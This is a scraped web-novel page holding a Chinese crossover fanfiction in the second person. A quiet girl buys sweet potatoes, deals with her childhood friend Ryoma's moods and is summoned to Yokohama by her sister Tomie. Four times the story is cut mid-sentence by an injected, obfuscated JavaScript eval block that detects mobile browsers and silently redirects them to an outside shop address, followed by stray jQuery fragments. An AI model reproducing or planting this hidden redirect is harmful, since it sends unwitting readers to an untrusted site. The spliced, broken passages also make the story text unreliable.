‘如果能有更方便的方式出去就好了。’ 随着你这个想法的产生，忽然响起了一道轻快的童声。 “Ciaos~” “你有什么烦恼吗？”那声音问。 你顺着声音抬起头。 在茂密的樱花树枝上，正站着一名身穿蓝白色和服、头戴同色头巾的小婴儿。 大大的脑袋，与其不相符的娇小身体。 鬓边有着两根卷卷的发丝。 ……大头娃娃？ 你忽然联想到了家中偶尔会出现的奇怪生物。 同样的大头小身。 可它们会发出刺耳的叫声，如同鼻涕虫般在地面黏糊糊地爬行。 但你并不讨厌它们。 因为它们是最好处理的不可回收垃圾。 只需要用刀刺进它们的脑袋，再稍微一搅，它们就会消失得干干净净，一点痕迹也不留。 最重要的是不会弄脏衣服。 就算不小心沾到一点，只要稍微清洗一下，也会一起消失。 不过，仔细看看，他好像和家里的怪物不太一样。 或许应该叫……座敷童子或者樱花童子？ 很遗憾，你对日本妖怪的了解并不多，所以无法找出一个合适的代称，只能也举起手和他打招呼。 “Ciaos.” 虽然不太明白“Ciaos”是什么意思，但你猜应该是招呼用语。 “我在想有没有更简单的方式能从公园出去。”你回答了他刚才的问题。 “Soga，”他点点头，如葡萄般的黑眸盯着你，“月江是有什么事情要做吗？” 你短暂地顿了一下，又很快恢复平静。 “嗯，我打算去买红薯。” 既然是妖怪的话，那知道你的名字也不是什么奇怪的事情吧？ 你想。 “那真的是很重要的事情呢。”小婴儿的脸上露出了和稚嫩的脸庞不符的神情，“那我带你出去吧。” “可以吗？” “当然。”他的语气格外肯定。 想了想，你决定相信他。 你在口袋里摸索了一下，掏出一枚五円硬币，递到他面前。 “那就拜托你了。” 你曾经在打扫卫生时，用五円硬币雇佣过一名自称神明的青年。 虽然他后来抱怨着“咒灵太麻烦了”就跑去大城市了，但确实帮了不少忙。 …… 既然这样的话。 对付这种小妖怪，应该也是通用的吧。 “……” 小婴儿看着你手里的硬币，沉默了一秒。 “不用了。”他说，“这次先记账吧。” 他从树上跳进了你的肩上。 “走吧。”他指了个方向，“从这边就可以出去哦。” “……好的。” 你感受着肩头的重量，有点苦恼。 衣服不会脏吧…… ** 离公园最近的是你每个月为姐姐购买杂志的便利店。 虽然是便利店，但里面的东西意外地齐全，你很快就在货架上找到了红薯。 你拿了两根。 但看见肩上的婴儿，你又多放了两根。 婴儿能吃红薯吗？ 你认真思考了一瞬。 能说话的话，应该就能吃红薯吧。 这样想着，你带着他去结账。 “又见面了，月江。”店员先生对你热情地打招呼。 “昨晚睡得好吗？”他问。 想起梦里的樱花树，还有站在花下的那名墨绿色头发的少年，你点了点头：“嗯，很好。” “是吗，那就好。”他的笑容似乎加深了一点。 他接过你递过去的钱，在找零的时候，目光在你肩上的小婴儿身上停了一瞬，又很快移开。 “对了，”他像是忽然想起什么，“软件更新了哦。” 你抬头看他。 “现在已经可以用Line聊天了。”他说，“还推出了赠送礼物的功能。” 听起来很方便。 你这样想着，接过他递来的零钱。 “谢谢。” 你带着小婴儿，离开了商店。 ………… 走出店门，你肩上一直很安静的小婴儿突然开口问道。 “月江喜欢玩游戏吗？” “还好。”你回答道。 “是吗？” 通往公园的路上同样开满了樱花。 花瓣随着风轻轻飘落，落在他蓝白色的头巾上。 你空出一只手，替他把花瓣拿开。 他又问：“月江喜欢樱花吗？” “嗯。” “很漂亮。还很浪漫。” 但如果是红色的樱花，或许会更漂亮、更浪漫吧？ 你想。 “是吗？”他笑起来，帽檐上的变色龙吐了下舌头，“浪漫的樱花……” “那今天就到这里吧。” 他从你肩上跳开，落在围墙上。 “很高兴今天能和你一起去买红薯。” “……？” 你低头看了一眼手里的袋子，又抬头看他。 “你不一起吃烤红薯吗？”你问。 “下次吧。”他眨了眨眼，“下次见面，请我吃更好的东西吧。” 更好的东西？ 那是什么？ 你还没来得及问，他就从你面前消失了。 围墙上，只留下了一枚发卡。 “……？” 散财的…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540524|203929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 樱花童子？ 你走过去，把它拿了起来。 淡粉色的水晶拼成樱花的形状，在阳光下泛着柔和的光。 有点好看。 是给你的吗？ 你不太确定，但还是把它收了起来。 ** 你继续往公园走。 袋子沉甸甸的，里面是红红的红薯。 红通通的颜色让你的心情再次好起来，连脚步都轻快了不少。 但奇怪的是，当你回到公园时却没发现云雀同学的身影。 “…？” 你环顾了一圈。 不仅大家都消失了，连睡觉的飞机头少年也不在了。 是云雀同学回去赏花了吗？ 你这样想着，朝那棵最茂盛的樱花树走去。 然而树下坐着的，却是一群你完全不认识的人。 ……云雀同学不在。 你低头看了一眼手里的红薯，有点遗憾地转身离开了公园。你一时也没有明确的目的地，只是慢慢往前走。 要不去后山烤红薯好了…… 你刚这样想着，脚步忽然一顿。 前方不远处，有一个有些眼熟的背影。 你眨了下眼。 “……？” ……… “云雀同学，给。” 你用树枝从火堆里扒出一根红薯，推到他面前。 云雀靠在树旁，黑发垂落下来，半遮住了眼睛，整个人看起来没什么精神。 你想，他大概是低血糖了。 因为你刚才在路上遇见他的时候，他就是一副走路不太稳、随时会晕倒的样子。 你从口袋里拿出手帕，把红薯包了起来。 刚出炉的红薯很烫，你的手指微微发麻，像是被细小的蚂蚁啃食着。 你掰开红薯。 软糯金黄的果肉让你不自觉地咽了一下口水 你忍住咬上一口的冲动，把红薯递了过去。 “云雀同学，吃掉就不晕了。” “………” 云雀的眉头微微动了动。 他睁开眼，视线落在你手中的红薯上，停了一会儿，才伸手接过。 他低头，慢慢吃了起来。 云雀同学吃东西的模样很秀气。 小口小口的……但速度并不慢。 你盯着他看了一会儿，又从口袋里拿出一瓶椰奶。 “这是今天的饮料。” “……啊。” 他接了过去。 看起来，还是没什么精神。 你这样想着，也给自己扒了一根红薯，咬了一大口。 甜味迅速占领了味蕾。 你的心情变得愉悦起来。 “……” 云雀看了你一眼，又垂眸继续吃红薯。 ……… “云雀同学，你好点了吗？”你问。 “……我没事。”哪怕现在依旧摇摇晃晃，但他还是坚持自己没有任何问题。 “好的，云雀同学。”你点点头。 你想或许是云雀同学补血糖补过头了，于是你站起身。 “那我先走了。” 你想起自己还没有买门锁。 而且……你有点困了。 还是早点买完回去睡一会儿比较好。 6. 幼驯染 你想，自己或许并没有那么喜欢烤红薯。 甜腻、干噎，像某种无法下咽的固体堵在喉咙里，让人喘不过气。 [月江，咽下去。] 姐姐艳丽的眉眼在灯光下笑得很美。 她捏着手帕，动作温柔地替你擦拭嘴角。 [美味吗？]她问。 你：[……] 甜腻的味道占领着你的口腔，你用力吞咽了几下，想压下那过于怪异的感受。 可胃里却总像有什么东西在蠕动，细细密密的，仿佛有无数细小的手指，正顺着你的喉咙一点点向上爬。 [……美味的，姐……] 你不受控制地干呕起来。 狭小的空间衬得呕吐声愈发明显。 [呕——] 地面缓缓聚起细如发丝的黑线。 [……] 姐姐脸上的笑容慢慢消失了。 如上等黑曜石般的眼睛，死死盯着地面上的污秽。 可很快，她又笑起来。 [月江——] 咯咯的笑声像夏季的风铃。 [好孩子。] 彼时年仅十岁的富江捧起你的脸，夸赞道。 她丝毫不在意你脸上的脏污，轻轻地贴了贴你的额头，再次重复。 [真是好孩子，月江。] ………… 久违地做梦了。 你缓缓睁开眼，不算刺眼的夕阳还是让你下意识眯起了眼睛。 “哈……” 你打了个哈欠，眼泪顺着脸颊滑下来，视线一时间有些模糊。 你毫不在意地望向天边的晚霞。 大片大片的橘红色叠在天边……有点像烤红薯的内瓤。 这个念头忽然冒了出来。 紧接着，你的脑海中又浮现出另一个问题。 ——我中午吃了什么？ 你低下头，认真回忆了一会儿，却发现什么想不起来。 ‘大概是饿过头了吧。’ 你想，‘等龙马打完球之后，一起去买烤——’ “喂。” 你的面前忽地笼下一片阴影。 你抬头，是龙马。 夕阳照在他身后，琥珀色的猫瞳在逆光中忽明忽暗。 ……虽然很失礼，但你此刻想起了喵咪。 如果现在突然变亮的话，龙马的瞳孔也会一下子缩成细细的一条吗？ 抱着这样奇怪的想法，你眨了眨眼。 许是你太久没有回复，龙马的视线略微偏开了一点，停顿了一瞬，又重新转回来。 “你在看什么？”他语气硬邦邦地问。 你觉得这个问题有点奇怪。 “我在看你。”你回答道。 说完，你从地上站起身，又朝球场那边看了一眼。 “龙马，你比赛结束了吗？” 球场已经空，应该是结束了吧。 你这样想着，重新看向面前的人。 他似乎一直在看你，你们的目光蓦地撞上了。 但仅仅一瞬，他就又错开了。 “……？” 你想起他刚才的问题，于是你也问了一遍，“龙马，你在看什么？” “…………” 他的视线很快转了回来。 琥珀色的猫瞳盯着你。 你也看回去。 过了好一会儿，龙马忽然笑了一下，带着一点少年人特有的挑衅 “我在看你，月江。” 他说着，猫瞳依旧直直盯着你。 “……？” 你看着他的表情，莫名觉得有些眼熟。 像他比赛前，和前辈说话时的模样……有种跃跃欲试的感觉。 你歪了歪脑袋。 “嗯，”你点点头，停顿了下，又问，“那我好看吗？” “……” 龙马忽然不说话了。 你看着龙马的反应，倒也不觉得失望。 毕竟姐姐以前总说你长相普通、毫无魅力……姐姐？ 你怔了下，脑海中的画面模模糊糊的。 被黑色阴影覆盖、但完全让人移不开视线的脸张开了红唇。 [月江。] “喂。” 耳边忽然传来声音。 “嗯……？” 你回过神，努力聚焦视线。 龙马的唇线拉得有点直，眉头微微皱起。 你能感觉他的视线在你脸上转了一圈。 ……在眼睛上停留的时间略长。 他的嘴唇动了一下。 “你说什么？”你没听清。 “……”他沉默了一瞬，忽然伸手提起放在树边的网球包，往背后一甩。 “我说，你还差得远呢。” 说完，他侧过头看了你一眼。 “走了。” “……？” 你觉得他刚才说的应该不是这句。 不过你也没有太在意，因为你现在真的很饿。 你快步跟上去，走在他身侧，侧头喊道：“龙马。” “……什么。” “我们可以去买烤红薯吗？” “哈？”他转头看你。 “我有点饿了。”你说，“我想吃烤红薯。” “……” 龙马没说话，于是你继续往下说：“所以我们去买烤红薯……啊。” 你忽然发现，他的脚步一下子变快了。 “……？” 你停在原地，看着他越走越远的背影。 原来这么讨厌烤红薯吗？ 你稍微有点遗憾，然后认真研究眼前的岔路来。 前、左、右。 龙马刚才是直走，所以前面应该是回家的方向。 那剩下的左右，哪边才是商业街？ 你苦恼起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540525|203929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 男左女右。 你决定去右边。 只是脚刚迈出去一步，熟悉的声音又从身后传来。 “喂，你要去哪？” 你回过头，龙马不知道什么时候又折了回来，而且表情明显比刚才更差了。 “我去买烤红薯。”你如实回答。 “……” 你从他的脸上看出了很明显的无语。 “那龙马，我先走了。” 你朝他点点头，又准备迈步。 ——结果被拽住了手腕。 “你这家伙故意的吧？”他的语气听起来有点生气。 你有些不解：“嗯？” 你认真想了想，摇头：“没有。” 然而龙马看上去却更生气了。 …？ 你困惑地看着他。 龙马的心情实在有点奇怪，简直像梅雨季的天气一样，忽晴忽暗，让人完全搞不懂。 你想不明白，于是干脆不再开口。 龙马也沉默着。 你们就这样奇怪地僵持在路中央。 直到—— “叮铃铃——” 自行车铃声忽然从身后逼近。 你还没来得及回头，手腕便猛地传来一股力气。 “！” 你踉跄了一下，整个人被拽到了另一边。 自行车从旁边飞快擦过去，带起一阵风。 “发什么呆。”龙马皱着眉。 你：“？” 你：“可是龙马你刚才也在发呆。” 龙马：“……” 他像是被噎住了，过了好几秒才硬邦邦地开口：“走了。” “哦。”你点了下头，然后又想起来，“但我要去买烤红薯——” “这边就是！”他一句话说完，便拽着你继续往前走，速度比刚才还快。 你被拉着往前走了几步，反应了一下：“这边就是？” “可你不是要回家……” “再说你就自己去。” 他的语气听起来凶巴巴的。 “……哦。” 你默默地吞下了后面的话。 毕竟如果真的让你一个人去，你大概会找不到回家的路。 不过—— 你低下头，看向还被握着的手腕。 龙马抓得有点紧。 被压住的血液流动得不太顺畅，手心慢慢泛起细细密密的酥麻感，如蛛网般一点点扩散开来。 过了一会儿，他似乎也意识到了什么，手掌轻微松开。 不知去处的血液立即蜂拥通过甬道回到自己的位置，奇妙的暖流从手腕一路散开。 ‘有点痒。’ 你其实很想这么说。 但想到龙马今天似乎格外容易不高兴，你犹豫了一下，最后还是决定不说了。 稍微顺着他一点好了。 你想。 7. 幼驯染 【你向越前龙马赠送了烤红薯。】 【越前龙马的好感度提升了。】 【你解锁了CG，请点击相册查看。】 你点开了相册。 画面中，墨绿色短发的少年正神情别扭地吃着你硬塞给他的红薯。 标题写着—— “过甜的……烤红薯？” 原来是因为红薯太甜，所以才不喜欢的吗？ 那下次还是不要勉强龙马好了。 你这样想着，正准备收起手机，却听见“叮咚”的提示音再次响起。 手指停了一下，你点开跳出的弹窗。 [小熊：干什么？] “…？”小熊？这是谁？ 你过了好一会儿，才想起—— [现在已经可以用Line聊天了。] 啊，对，是店员先生说的新功能。 你恍然大悟，随后又有点好奇。 ‘要不要试着聊聊天？’ 随着这个念头浮现，你在手机上输入： [你：聊天。] 消息很快显示已读，随后弹出一串“……”。 是内容太无聊了吗？ 你歪着头想了想，又发了一个笑脸。 [你：:)] ……或许应该先做个自我介绍吧。 [你：你好，我是川上月江。:D] 你努力挑选了一个看上去很开朗的表情，希望借此打开话题。 然而，屏幕立刻弹回一行字—— [小熊：……你是笨蛋吗？] 被挑剔了呢。 你低下头，有点沮丧。 因为姐姐和父母都不喜欢你吵闹，你平时也不常说话。哪怕在学校里，你也只会在别人主动搭话时回应一两句。 但遗憾的是，可能因为你太普通，几乎没有人主动和你搭话——除了一名棒球少年。 想到这里，你的神情变得苦恼起来。 你又忘记了对方的名字和长相。 或许下次见面就能想起来吧。 你这样安慰自己，重新看向聊天框。 不擅长聊天的你，怎么也想不到该怎么回复。 ‘我不是笨蛋’？或者‘你也要自我介绍才行’？ ……不论哪个，似乎都有点奇怪。 你退出聊天框，近期联系人的界面出现在眼前。 【五円神明】、【云雀同学】……没了。 你越发感觉自己的交际圈十分狭小。 思考了片刻，你决定向云雀同学求助。 ‘云雀同学和我一样不喜欢说话，真是太好了。’ 抱着同类一定会有好建议的想法，你开始打字： [你：云雀同学，晚上好。] [你：我想知道，假如云雀同学在对人做完自我介绍后，对方问你“是不是笨蛋”，你会怎么回复呢？] 你期待地看着屏幕。 幸运的是，云雀同学似乎正在看手机，回复很快就弹了出来。 [云雀同学：咬杀。] …… 确实是云雀同学会采取的方法。 相当冷酷无情却格外有用呢。 你叹了口气。 等找到合适的方式再回复小熊君吧。 你默默收起手机。 ** 最近，你和龙马似乎陷入了冷战。 ……或者说，是龙马单方面开始的冷战？ 你下意识地看向也在做图书管理员的龙马，觉得自己刚才的想法或许不太准确。 难道他每个月也会有几天不想理人吗？ 你想着自己的特殊时期，猜测着。 可是，男生也会吗？ 这个奇怪的念头，让你放书的动作慢了下来。 ……手中的书籍忽然被人接了过去。 你愣了一下，抬头，视线正对上一只伸过来的手臂。 少年琥珀色的猫瞳瞥了你一眼，又微微移开。 “？”你眨了下眼睛。 被你看着的龙马动作更快了，把书插回书架。 最后一本书在上层，他的动作停顿了一下，又努力伸长手臂，试图将书插进去。 ……然而够不到。 “我来吧。”比他高上几分的你善意地说。 “…………” “不要。” 龙马生硬地拒绝了你的建议，继续伸长手臂——你注意到他轻轻垫了下脚。 “……”你没忍住抿了抿唇。 轻微笑声似是被龙马捕捉到了，他生气地瞪了你一眼，然后干脆地垫脚把书放了进去，转身就走。 啊。 你愣了一下，又让他生气了。 你快步追上去，认真道歉：“抱歉，龙马，我不应该笑的……明明是你好心帮我。” “……” 他瞥了你一眼，没说话，脚步却慢了几分。 正好快到闭馆时间，图书馆里的人也不多。 你突然觉得，这是个好机会，或许可以问清楚他冷战的原因。 “龙马。”你走近了一些，声音压得低低的。 “我最近做了什么，让你生气了吗？”你问。 龙马的身子微微一歪，随后半路停下，又回到原位。 他没回话，于是你只好自己猜测。 “是不是因为我喜欢煎蛋，所以最近早餐都是西式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540526|203929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的？” 你选择了一个最奇怪，但看上去最有可能的理由。 龙马淡淡地瞥了你一眼。 似乎在说“谁会因为这种事情生气”。 “……” 你遗憾地叹了口气。 明明他之前抱怨过自己喜欢日式早餐……虽然他后来又改口，说西式早餐也行。 今天也完全不明白龙马心情是如何变化的你，安静地闭上了嘴。 ** 图书委员会的工作结束后，你照旧跟着他前往网球部。 今天是他最后一场正选选拔赛的比赛。 “越前，你来了！” 还没走近，就有一名棕发平头对你们拼命挥手。 “啊。”龙马冷淡地应了一声。 “这可是你最后一场比赛，好歹也激动一点吧……”他正说着，注意到了站在龙马身旁的你，“川、川上同学也在啊。” “嗯，你好。”你微微倾身回应。 “你们俩还真是形影不离啊。”他用手肘轻轻顶了顶龙马的胳膊，“我说，川上同学在的话，你也打起点精神——” “我进去了。”龙马背着球包走了。 “喂——！”堀尾喊着，烦恼地挠了挠头发，一边嘀咕着“太冷淡吧越前”，一边转头看向你。 “那、那川上同学，你要不和我们一起……”他的声音越来越小，目光开始漂移。 他身旁另外两人也都露出类似的反应。 奇怪的神情让你歪了歪脑袋，但你并没有太在意。 ……毕竟姐姐说过，大家会这样只是因为你太普通了。 [真是可怜呢，月江。] 无法忽视的女声萦绕在你的脑海。 大家真辛苦，还得忍受你普通的脸。 这样想着，你环顾四周，发现并没有座位，也没有大树。 这样的话，似乎在哪里都一样。 于是你你点了点头：“嗯。” 然后转头，看向场中正在热身的龙马。 来之前他已经换好了运动服。 墨绿色的短发被帽子压着，长长的帽檐遮住了他的脸，纤细的手腕上戴着蓝白色护腕。 ……看上去手腕更细了。 你盯着他的手腕看了一会儿，又低下头看自己的手腕。 “……” ‘嗯。’你抬起头，‘还是我的手腕比较细。’ 你想，龙马当时一定是因为羡慕，才会握住你的手腕。 或许被自己打击到了，所以才又生气闹别扭吧？ 你决定，等他比赛结束后，一定要安慰一下他。 ……顺便告诉他，手腕细其实没什么大不了。 8. 幼驯染 比赛持续的时间比你想象中还要长。 “这个球刚刚（巴拉巴拉）” “龙马！” “越前他居然……” 乱七八糟的话混在一起，让你的注意力逐渐开始涣散。 到底什么时候才能结束？ 你忍不住思考起这个问题来。 “——” 旁边的人似乎说了什么。 你愣了下，侧头看过去。 是最近龙马比赛时，你常会看见的一名前辈。 栗色短发，眉眼弯弯的，总是一副很温和的模样……他的名字是什么？ 你努力回忆。 对方似乎看出了你的困扰，微微弯起眼睛。 “不二，不二周助。” 他主动做了自我介绍。 “你好，不二前辈。”你礼貌地打了招呼，停顿了下，又问，“请问，你刚才说话了吗？” “嗯，说了哦。”他笑着回答道。 你开始等待他的后续。 ……然后你发现他完全没有继续说下去的意思。 “……？” “不二前辈是问你，难道你一点都不担心吗！”一道很有精神的女声突然从后方插了进来。 你转头，是一名扎着红色双马尾的女生。 你眨了下眼睛。 “你一直盯着我看做什么！”原本气势汹汹的少女，声音弱下去一点。 你很想叫出她的名字，但脑海里只剩下一个模糊的“朋”字。 “…朋…酱的头发很漂亮。”你说，“谢谢你提醒我。” “谢、谁让你突然说这个了！”她的脸一下子红了，凶巴巴地提高声音，“而且不要随便给别人改名字啊！” 你看着她的反应，稍微有点失落。 因为你是真的觉得她的头发很好看。 鲜艳、明亮，又充满生命力。 很美丽。 “呵呵……”旁边传来很轻的一声笑。 你回过头，不二前辈正在看你。 “稍微有点受伤呢。”他说，“原来川上学妹只是记不住我的名字啊。” “不是的。”你认真解释，“大家的名字和长相，对我来说都有点困难。” 停顿了下，你又回答他刚才的问题。 “至于担心的话……”你看向场中的龙马，他的眼睛很亮，充满了生命力，“龙马开心就好了吧。” “那，川上学妹觉得越前会赢吗？”他又问。 你想了想，点头：“嗯。” “这样啊。”不二笑眯眯地，“这就是幼驯染之间的信任吗？” 你困惑地歪了下脑袋：“这和幼驯染有什么关系吗？” “不，没什么关系。”不二弯起眼睛。 不知道为什么，你总觉得他现在很像某种笑眯眯的、又不怀好意的动物。 ……像小熊。 ？小熊？ 你愣了下，脑海中某个东西“啪”地亮了起来。 Line里的那条消息……是不是忘记回复了？ ** ……果然忘记回复了。 你心不在焉地搅动着杯中浅红色的饮料。 漂浮在表面的冰块被你压下去，又慢吞吞浮起来，碰撞着杯壁，发出“咚”“咚”的轻响。 你盯着那几块冰发起呆来。 …… 十分钟前，龙马比赛结束后，朋……朋酱提议说来饮料店庆祝一下。 [不要。]龙马干脆地拒绝了。 [喂喂，越前！］堀尾大喊起来，［你可是打败了三年级前辈，正式成为正选诶！当然要庆祝一下吧！]他说着，目光在周围转了一圈，停在你身上，[川上同学应该也想去饮料店吧？] 饮料店？ 你歪了下脑袋。 这个词对你来说有些陌生。 你下意识地看向了龙马。 ——你发现他的目光也转向了你。 [嗯。]好奇心让你点头答应了下来。 [既然如此，我们一起去庆祝一下吧！]堀尾抓紧机会再次重复道。 龙马沉默了一下，随后移开视线。 [……随便吧。] 于是你们一行人出现在了饮料店。 但饮料店并没有什么奇特的地方，这让你稍微有点失望。 ……然后你很快又开始烦恼。 因为你还是没有想到该怎么回复小熊君。 ‘不如就这样假装忘记好了。反正小熊君也没有再联系我。’ 你产生了这样逃避的想法。 “那个……” 一个细小的声音打断了你的沉思。 你顺着声音转头，是名棕红色双马尾辫的少女。 又是红色。 你最近遇见红色的概率，似乎有点高。 “有什么事吗，樱……酱？” 遗憾的是，你依旧只记得她名字里的一个字。 “诶？”她的脸一下红了，“川上同学会觉得这里太吵吗？”她鼓起勇气小声问。 “还好。”你回答，“只是爸爸妈妈不太喜欢吵闹。” 坐在你身侧的龙马侧眸看了你一眼。 “是、是吗……”她像是松了口气，“太好了。” 你点点头，又低头继续盯着杯子里的冰块发呆。 “对了！我们来交换联系方式吧！” 最有精神的红色双马尾——小坂田朋香忽然举起手机。 “就从龙马大人开始好了！” “不要。”龙马拒绝得很迅速。 朋香：“可交换联系方式的话，以后大家就可以经常联系了，对吧樱乃？” “是、是的……”樱乃小声附和。 她悄悄抬头看了一眼你身旁的龙马，又很快低下头，脑袋几乎快埋进胸口。 “那越前和我交换联系方式吧！”堀尾努力打着圆场，“我们周末可以一起去打网球——” “不要。”龙马再次毫不犹豫地拒绝，“你的技术太差了。” 堀尾：“……” “那这个周末一起去俱乐部怎么样？”一直没怎么说话的加藤胜郎小声提议，“我爸爸刚好在那里工作……” “诶？真的吗！” “听起来不错诶！” 气氛重新热闹起来。 “那越前也一起去吧？” “……” 龙马扫了几人一眼，勉强接过了堀尾递来的手机，低头输入了一串数字。 “呼……” 堀尾才刚松一口气，手机立刻又被旁边的朋香抢走。 “借我一下！” “喂——！” “那个……”你身旁再次传来细小的声音。 你转过头。 樱乃正红着脸举着手机，小声开口：“我、我也想和龙马君交换联系方式……” “？”你看了她一会儿，又转头看向龙马。 龙马正低着头，一副事不关己的模样，用吸管慢吞吞地戳着杯子里的冰块。 你想了想，伸手接过了樱乃的手机。 “诶？！”樱乃一下子慌了，“川、川上同学……？” 你把手机递到了龙马面前。 “龙马。”你说，“交换联系方式。” “……哈？”龙马抬起头，目光落在手机上，“……” 突然沉默起来。 “不要——”他的话忽然顿住。 因为你又把自己的手机递了过去。 你想起自己好像也没有龙马的联系方式。 “我也想要龙马的联系方式。”你认真道。 龙马：“？” “诶？！” 旁边几个人也露出了震惊的表情。 堀尾更是一脸不可思议。 “等等？！川上同学和越前不是幼驯染吗？为什么会没有联系方式？！” “没有。”你摇头。 大家齐刷刷地看向龙马。 而原本还像猫一样懒洋洋戳冰块的龙马，慢慢坐直了身体，琥珀色的猫瞳直直盯着你。 “你没有我的联系方式？” 你觉得他的语气有点奇怪。 于是你打开聊天界面确认了一遍，又点头。 “嗯。” 你把手机举到他面前。 龙马垂眸扫了一眼。 停顿片刻后，他又重新抬起头，看向你。 ……但没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540527|203929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有说话。 “……？” 堀尾几人看看你，又看看龙马，表情越来越奇怪。 “那个！”堀尾突然僵硬地出声，“我看时间也不早了！不如今天就早点回去吧！” 似乎就在等这句话，龙马几乎是立刻站起身，抓起网球包往背后一甩。 “走了。”他低头看向你。 堀尾：“？？” 你也愣了一下，低头看了眼桌上的手机，又转头看向身旁的樱乃。 ……看上去快哭出来了。 你有些苦恼。 犹豫片刻后，你把樱乃的手机递给了堀尾。 “就拜托……堀…同学了。” 你鞠躬告别，快步追上已经快走出店门的龙马。 “龙马大人——！” “诶？！等等啊越前！” ………… 龙马似乎又开始不高兴了。 你看着他一路沉默往前走的背影，更加苦恼。 是自己忘记了什么事情吗？ 你不太确定地开始认真回忆，随后忽地想起了什么。 “龙马。”你叫住他。 墨绿色短发的少年停下脚步，侧头看向你。 你伸出手，握住了他的手腕。 “？！” 那截手腕似乎是受了什么惊吓，忽地往后缩了些许，又很快停下。 你仔细盯着他的手腕。 比你的肤色要深上些许，是健康的小麦色，泛着淡青色的血管。 原来男生的手腕是这样吗？ 你感受着手下跳动的脉搏，手指在凸起的腕骨上点了下。 龙马的手似乎极为敏感地瑟缩了一下。 “你的手腕也很细。” 你抬起头看向面前的少年。 他琥珀色的双眸在阳光下像流淌的蜂蜜一般，黏糊糊地注视着你。 薄唇抿得有些平。 “所以你不需要羡慕。”你认真地说。 龙马沉默了几秒。 他语气有些微妙地重复：“羡慕？” “嗯。”你又低下头，重新捏了捏他的手腕。 拇指和食指刚好能圈住一圈。 于是你松开他的手，又举起自己的另一只手，和他的并排放在一起。 你也捏了捏自己的手腕。 ……好像是你更细一点。 但差距也没有很大。 于是你肯定道：“我们差不多细。” 你抬头看他：“所以龙马不要和我冷战了。” “……” 他的目光先是在你脸上停了一会儿，又慢慢落向你们并排放在一起的手腕。 “哈。”他突然笑了一声。 “？”你困惑地看着他。 可龙马不但没有停下来，反而像被什么戳中笑点一样，笑得更大声了。 “我没有冷战。” 他收回手，微微抬起下巴看着你。 又圆又大的猫瞳，让他现在看起来更像一只被顺毛顺得很舒服，却还故意装作高冷的猫。 “回去了。”他说。 “哦。”你点点头，没有和他争辩。 反正龙马最近总是这样。 南次郎叔叔说，这叫“青春期综合症”。 “对了。” 已经往前走了几步的龙马蓦地停下来。 他回过头，看了你一眼。 “你有我的联系方式。” 他的嘴角慢慢扬起一点带着挑衅意味的笑。 “笨蛋。” 说完，他立刻转过头，继续往前走。 你：“……？” ……………… 从梦里醒来之后，你发了很久的呆，才拿起手机翻找起联系人来。 你的目光停在最近联系人中的【小熊】上。 ……原来是这个。 你忽然明白，对方为什么会回你一句“你是笨蛋吗”了。 稍微有点丢脸呢。 你这样想着，叹了口气，准备收起手机。 “叮咚。” 新的消息提示音跳了出来。 [未知号码：来横滨接我。] [未知号码：快点！！] 9. 现实 横滨自治区。 你对这座城市的了解，仅限于书本上的内容，比如港口、外贸、还有很多外国人。 至于姐姐为什么会去横滨，你其实也不是特别清楚。 不过你已经习惯了。 毕竟姐姐总会因为各种理由，突然跑去很远的地方，然后再让你去接她。 上一次似乎是……仙台？ 你记得那里有个很出名的大福。 毛豆生奶油？ 还是奶油生毛豆？ 你有点记不清了……姐姐或许也是为了那个才过去的。 【月江！！你怎么才来！！！】 昏暗的小巷里，只剩下一颗头颅的姐姐正愤怒地说着话。 黑色长发沾满污秽，漂亮的脸也脏兮兮的。 【好脏好脏好脏——】 她哭喊得太厉害了，吵得你脑袋都有些发疼。你只好蹲下身，用手帕擦起她的脸来。 “抱歉，姐姐。”你说，“路上稍微有点堵车……” 【杀了他！！！】姐姐忽然又尖叫起来，【就是那个家伙！！！】 你顺着她的视线望了过去。 不远处站着脑袋上有一圈缝合线的怪人。 她？还是他？ 你一时无法分辨。 